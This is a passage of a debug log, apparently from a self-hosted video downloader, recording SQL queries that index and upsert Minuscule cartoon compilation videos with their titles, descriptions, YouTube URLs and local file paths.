S01E46\n00:32:35 | Love Story | S01E03\n00:37:24 | A Bee’s Night Out | S01E51\n00:42:12 | The Ladybug | S01E01\n00:46:49 | The Wild Bunch | S01E74\n00:51:28 | The Last Supper | S01E25\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#education #mother #ladybug #babies #hyperactive #baby #bees #trouble #Minuscule #nature #insects #ladybugs #animatedseries", "The Good Education | Minuscule | 70' Compilation", "949c6b25-c064-40ce-93d6-5057ed4db897", "ZgQjJ1kgUGE", 3408, false, 4, "https://www.youtube.com/watch?v=ZgQjJ1kgUGE", 1, "/downloads/Miniscule Season 1/2025-12-11 The Good Education | Minuscule | 70' Compilation/The Good Education | Minuscule | 70' Compilation [ZgQjJ1kgUGE].mp4", false, false, false, [], 1, ~U[2025-12-11 11:01:12Z], ~U[2025-12-14 07:54:32Z], ~U[2025-12-14 07:54:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Good Education | S01E56\n00:04:47 | Hyperactive | S01E54\n00:09:28 | The Right Seed | S01E57\n00:14:14 | The Escapist | S01E59\n00:18:43 | Leech | S01E73\n00:23:07 | Mad Fly | S01E55\n00:27:46 | A Cruel World | S01E46\n00:32:35 | Love Story | S01E03\n00:37:24 | A Bee’s Night Out | S01E51\n00:42:12 | The Ladybug | S01E01\n00:46:49 | The Wild Bunch | S01E74\n00:51:28 | The Last Supper | S01E25\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#education #mother #ladybug #babies #hyperactive #baby #bees #trouble #Minuscule #nature #insects #ladybugs #animatedseries", "The Good Education | Minuscule | 70' Compilation", "ZgQjJ1kgUGE", 3408, false, 4, "https://www.youtube.com/watch?v=ZgQjJ1kgUGE", "/downloads/Miniscule Season 1/2025-12-11 The Good Education | Minuscule | 70' Compilation/The Good Education | Minuscule | 70' Compilation [ZgQjJ1kgUGE].mp4", false, ~U[2025-12-11 11:01:12Z]] 00:54:32.198 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=323.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:32.199 [debug] QUERY OK source="media_items" db=0.8ms idle=6.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-13 07:00:08Z], 4] 00:54:32.203 [debug] QUERY OK source="media_items" db=2.3ms idle=7.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Mosquito Day Afternoon | S01E72\n00:04:39 | The Mosquito | S01E58\n00:08:49 | Torpedo | S01E52\n00:13:28 | A Gust Of Wind | S01E13\n00:18:09 | Interior Cobwebs | S01E64\n00:22:36 | Picnic | S01E24\n00:27:21 | Nap Time | S01E14\n00:32:09 | The Last Supper | S01E25\n00:36:59 | King Size Camembert | S01E45\n00:41:38 | Mad Fly | S01E55\n00:46:16 | Come Christmas | S01E63\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#mosquito #disaster #afternoon #livingroom #trapped #domino #surprises #Minuscule #nature #insects #ladybugs #animatedseries", "A Mosquito Day Afternoon | Minuscule 🍃 60' Compilation", "d82af858-ab43-40b9-bf30-fa71c1f0bf93", "B9tGisEtM6I", 3087, false, 4, "https://www.youtube.com/watch?v=B9tGisEtM6I", 4, "/downloads/Miniscule Season 1/2025-12-13 A Mosquito Day Afternoon | Minuscule 🍃 60' Compilation/A Mosquito Day Afternoon | Minuscule 🍃 60' Compilation [B9tGisEtM6I].mp4", false, false, false, [], 1, ~U[2025-12-13 07:00:08Z], ~U[2025-12-14 07:54:32Z], ~U[2025-12-14 07:54:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Mosquito Day Afternoon | S01E72\n00:04:39 | The Mosquito | S01E58\n00:08:49 | Torpedo | S01E52\n00:13:28 | A Gust Of Wind | S01E13\n00:18:09 | Interior Cobwebs | S01E64\n00:22:36 | Picnic | S01E24\n00:27:21 | Nap Time | S01E14\n00:32:09 | The Last Supper | S01E25\n00:36:59 | King Size Camembert | S01E45\n00:41:38 | Mad Fly | S01E55\n00:46:16 | Come Christmas | S01E63\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#mosquito #disaster #afternoon #livingroom #trapped #domino #surprises #Minuscule #nature #insects #ladybugs #animatedseries", "A Mosquito Day Afternoon | Minuscule 🍃 60' Compilation", "B9tGisEtM6I", 3087, false, 4, "https://www.youtube.com/watch?v=B9tGisEtM6I", "/downloads/Miniscule Season 1/2025-12-13 A Mosquito Day Afternoon | Minuscule 🍃 60' Compilation/A Mosquito Day Afternoon | Minuscule 🍃 60' Compilation [B9tGisEtM6I].mp4", false, ~U[2025-12-13 07:00:08Z]] 00:54:32.204 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=9.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:32.205 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=7.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-09 07:00:39Z], 4] 00:54:32.209 [debug] QUERY OK source="media_items" db=2.5ms idle=7.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Narcissus | S01E47\n00:04:48 | The Caterpillar and the Brook | S01E08\n00:09:38 | The Caterpillar Who Wanted To See The Ocean | S01E29\n00:14:26 | Lettuce | S01E48\n00:19:13 | Leech | S01E73\n00:23:37 | Nap Time | S01E14\n00:28:26 | Ugly | S01E05\n00:33:13 | The Dung Beetle Battle | S01E15\n00:37:59 | A Snail’s Dream | S01E11\n00:42:48 | Shell-Less | S01E19\n00:47:31 | Caterpillar Dream | S01E20\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Narcissus #beetle #reflection #investigating #caterpillar #brook #leaves #bush #Minuscule #nature #insects #ladybugs #animatedseries", "Narcissus 🪞 Minuscule | 65' Compilation", "48571bd4-e391-4e1b-b006-116ad778f98c", "cw7aFgAQz7A", 3172, false, 4, "https://www.youtube.com/watch?v=cw7aFgAQz7A", 5, "/downloads/Miniscule Season 1/2025-12-09 Narcissus 🪞 Minuscule | 65' Compilation/Narcissus 🪞 Minuscule | 65' Compilation [cw7aFgAQz7A].mp4", false, false, false, [], 1, ~U[2025-12-09 07:00:39Z], ~U[2025-12-14 07:54:32Z], ~U[2025-12-14 07:54:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Narcissus | S01E47\n00:04:48 | The Caterpillar and the Brook | S01E08\n00:09:38 | The Caterpillar Who Wanted To See The Ocean | S01E29\n00:14:26 | Lettuce | S01E48\n00:19:13 | Leech | S01E73\n00:23:37 | Nap Time | S01E14\n00:28:26 | Ugly | S01E05\n00:33:13 | The Dung Beetle Battle | S01E15\n00:37:59 | A Snail’s Dream | S01E11\n00:42:48 | Shell-Less | S01E19\n00:47:31 | Caterpillar Dream | S01E20\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Narcissus #beetle #reflection #investigating #caterpillar #brook #leaves #bush #Minuscule #nature #insects #ladybugs #animatedseries", "Narcissus 🪞 Minuscule | 65' Compilation", "cw7aFgAQz7A", 3172, false, 4, "https://www.youtube.com/watch?v=cw7aFgAQz7A", "/downloads/Miniscule Season 1/2025-12-09 Narcissus 🪞 Minuscule | 65' Compilation/Narcissus 🪞 Minuscule | 65' Compilation [cw7aFgAQz7A].mp4", false, ~U[2025-12-09 07:00:39Z]] 00:54:32.209 [debug] QUERY OK source="sources" db=0.3ms idle=9.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:32.211 [debug] QUERY OK source="media_items" db=0.8ms idle=7.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-15 19:00:04Z], 4] 00:54:32.214 [debug] QUERY OK source="media_items" db=2.5ms idle=7.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Bless You! | S01E66\n00:04:11 | The Winter Of Our Discontent | S01E67\n00:08:59 | Windswept | S01E68\n00:13:48 | No Luck | S01E62\n00:18:31 | Come Christmas | S01E63\n00:23:10 | The Persevering One | S01E31\n00:27:51 | A Gust Of Wind | S01E13\n00:32:33 | Interior Cobwebs | S01E64\n00:37:00 | O Tannenbaum | S01E71\n00:41:39 | Zzzeplin | S01E22\n00:46:28 | Quiet! | S01E60\n00:51:10 | King Size Camembert | S01E45\n00:55:49 | Picnic | S01E24\n01:00:33 | The Ladybug | S01E01\n01:05:10 | Out Of A Tin Can | S01E65\n01:09:45 | The Last Supper | S01E25\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#sneezing #spider #cold #hunting #winter #fly #radiator #Minuscule #nature #insects #ladybugs #animatedseries", "Bless You! | Minuscule 🍃 90' Compilation", "38f70dbe-366b-465d-bf79-e8b60caf013c", "5uW9MeqAADo", 4505, false, 4, "https://www.youtube.com/watch?v=5uW9MeqAADo", 6, "/downloads/Miniscule Season 1/2025-11-15 Bless You! | Minuscule 🍃 90' Compilation/Bless You! | Minuscule 🍃 90' Compilation [5uW9MeqAADo].mp4", false, false, false, [], 1, ~U[2025-11-15 19:00:04Z], ~U[2025-12-14 07:54:32Z], ~U[2025-12-14 07:54:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Bless You! | S01E66\n00:04:11 | The Winter Of Our Discontent | S01E67\n00:08:59 | Windswept | S01E68\n00:13:48 | No Luck | S01E62\n00:18:31 | Come Christmas | S01E63\n00:23:10 | The Persevering One | S01E31\n00:27:51 | A Gust Of Wind | S01E13\n00:32:33 | Interior Cobwebs | S01E64\n00:37:00 | O Tannenbaum | S01E71\n00:41:39 | Zzzeplin | S01E22\n00:46:28 | Quiet! | S01E60\n00:51:10 | King Size Camembert | S01E45\n00:55:49 | Picnic | S01E24\n01:00:33 | The Ladybug | S01E01\n01:05:10 | Out Of A Tin Can | S01E65\n01:09:45 | The Last Supper | S01E25\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#sneezing #spider #cold #hunting #winter #fly #radiator #Minuscule #nature #insects #ladybugs #animatedseries", "Bless You! | Minuscule 🍃 90' Compilation", "5uW9MeqAADo", 4505, false, 4, "https://www.youtube.com/watch?v=5uW9MeqAADo", "/downloads/Miniscule Season 1/2025-11-15 Bless You! | Minuscule 🍃 90' Compilation/Bless You! | Minuscule 🍃 90' Compilation [5uW9MeqAADo].mp4", false, ~U[2025-11-15 19:00:04Z]] 00:54:32.215 [debug] QUERY OK source="sources" db=0.4ms idle=9.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:32.217 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=7.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-29 19:00:34Z], 4] 00:54:32.220 [debug] QUERY OK source="media_items" db=2.4ms idle=7.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Sleeping In | S01E12\n00:04:49 | A Bee’s Night Out | S01E51\n00:09:37 | Convoy | S01E10\n00:14:18 | Goofing Off | S01E37\n00:18:59 | Caterpillar Dream | S01E20\n00:23:48 | Sleepless Night | S01E50\n00:28:27 | The Zzzzzz Patrol | S01E39\n00:33:06 | No Exit | S01E61\n00:37:45 | Hyperactive | S01E54\n00:42:26 | The Ladybug | S01E01\n00:47:02 | A Snail’s Dream | S01E11\n00:51:52 | Love Story | S01E03\n00:56:41 | The Infernal Anthill | S01E35\n01:01:00 | On Your Marks, get set, go ! | S01E75\n01:05:49 | Nap Time | S01E14\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#bees #nectar #flowers #genius #bee #night #lost #home #Minuscule #nature #insects #ladybugs #animatedseries", "Sleeping In | Minuscule 🍃 85' Compilation", "b583424b-de0d-42ba-b77f-36f1bbe2e356", "T74ftU23ZFw", 4270, false, 4, "https://www.youtube.com/watch?v=T74ftU23ZFw", 7, "/downloads/Miniscule Season 1/2025-11-29 Sleeping In | Minuscule 🍃 85' Compilation/Sleeping In | Minuscule 🍃 85' Compilation [T74ftU23ZFw].mkv", false, false, false, [], 1, ~U[2025-11-29 19:00:34Z], ~U[2025-12-14 07:54:32Z], ~U[2025-12-14 07:54:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Sleeping In | S01E12\n00:04:49 | A Bee’s Night Out | S01E51\n00:09:37 | Convoy | S01E10\n00:14:18 | Goofing Off | S01E37\n00:18:59 | Caterpillar Dream | S01E20\n00:23:48 | Sleepless Night | S01E50\n00:28:27 | The Zzzzzz Patrol | S01E39\n00:33:06 | No Exit | S01E61\n00:37:45 | Hyperactive | S01E54\n00:42:26 | The Ladybug | S01E01\n00:47:02 | A Snail’s Dream | S01E11\n00:51:52 | Love Story | S01E03\n00:56:41 | The Infernal Anthill | S01E35\n01:01:00 | On Your Marks, get set, go ! | S01E75\n01:05:49 | Nap Time | S01E14\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#bees #nectar #flowers #genius #bee #night #lost #home #Minuscule #nature #insects #ladybugs #animatedseries", "Sleeping In | Minuscule 🍃 85' Compilation", "T74ftU23ZFw", 4270, false, 4, "https://www.youtube.com/watch?v=T74ftU23ZFw", "/downloads/Miniscule Season 1/2025-11-29 Sleeping In | Minuscule 🍃 85' Compilation/Sleeping In | Minuscule 🍃 85' Compilation [T74ftU23ZFw].mkv", false, ~U[2025-11-29 19:00:34Z]] 00:54:32.221 [debug] QUERY OK source="sources" db=0.6ms idle=9.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:32.222 [debug] QUERY OK source="media_items" db=0.9ms idle=7.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-27 11:00:03Z], 4] 00:54:32.226 [debug] QUERY OK source="media_items" db=2.4ms idle=7.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Snail’s Dream | S01E11\n00:04:49 | A Rolling Snail Gathers No Moss | S01E49\n00:09:25 | It Never Rains But It Pours | S01E41\n00:14:13 | On Your Marks, get set, go ! | S01E75\n00:19:02 | Shell-Less | S01E19\n00:23:45 | Sleepless Night | S01E50\n00:28:24 | Sleeping In | S01E12\n00:33:13 | Lettuce | S01E48\n00:38:00 | Leech | S01E73\n00:42:24 | Mad Fly | S01E55\n00:47:03 | Insect High Velocity | S01E53\n00:51:42 | City Caterpillar And Butterfly Of The Fields | S01E30\n00:56:26 | Caterpillar Dream | S01E20\n01:01:15 | Nap Time | S01E14\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#snail #dream #undergrowth #speed #journey #playground #slide #Minuscule #nature #insects #ladybugs #animatedseries", "A Snail’s Dream | Minuscule 🍃 80' Compilation", "8cda74ea-2811-47af-a5fe-f1efa2b2f3ea", "1EArPQKUlyI", 3995, false, 4, "https://www.youtube.com/watch?v=1EArPQKUlyI", 8, "/downloads/Miniscule Season 1/2025-11-27 A Snail’s Dream | Minuscule 🍃 80' Compilation/A Snail’s Dream | Minuscule 🍃 80' Compilation [1EArPQKUlyI].mkv", false, false, false, [], 1, ~U[2025-11-27 11:00:03Z], ~U[2025-12-14 07:54:32Z], ~U[2025-12-14 07:54:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Snail’s Dream | S01E11\n00:04:49 | A Rolling Snail Gathers No Moss | S01E49\n00:09:25 | It Never Rains But It Pours | S01E41\n00:14:13 | On Your Marks, get set, go ! | S01E75\n00:19:02 | Shell-Less | S01E19\n00:23:45 | Sleepless Night | S01E50\n00:28:24 | Sleeping In | S01E12\n00:33:13 | Lettuce | S01E48\n00:38:00 | Leech | S01E73\n00:42:24 | Mad Fly | S01E55\n00:47:03 | Insect High Velocity | S01E53\n00:51:42 | City Caterpillar And Butterfly Of The Fields | S01E30\n00:56:26 | Caterpillar Dream | S01E20\n01:01:15 | Nap Time | S01E14\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#snail #dream #undergrowth #speed #journey #playground #slide #Minuscule #nature #insects #ladybugs #animatedseries", "A Snail’s Dream | Minuscule 🍃 80' Compilation", "1EArPQKUlyI", 3995, false, 4, "https://www.youtube.com/watch?v=1EArPQKUlyI", "/downloads/Miniscule Season 1/2025-11-27 A Snail’s Dream | Minuscule 🍃 80' Compilation/A Snail’s Dream | Minuscule 🍃 80' Compilation [1EArPQKUlyI].mkv", false, ~U[2025-11-27 11:00:03Z]] 00:54:32.227 [debug] QUERY OK source="sources" db=0.4ms idle=9.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:32.228 [debug] QUERY OK source="media_items" db=0.9ms idle=7.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-04 11:00:47Z], 4] 00:54:32.232 [debug] QUERY OK source="media_items" db=2.4ms idle=7.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = 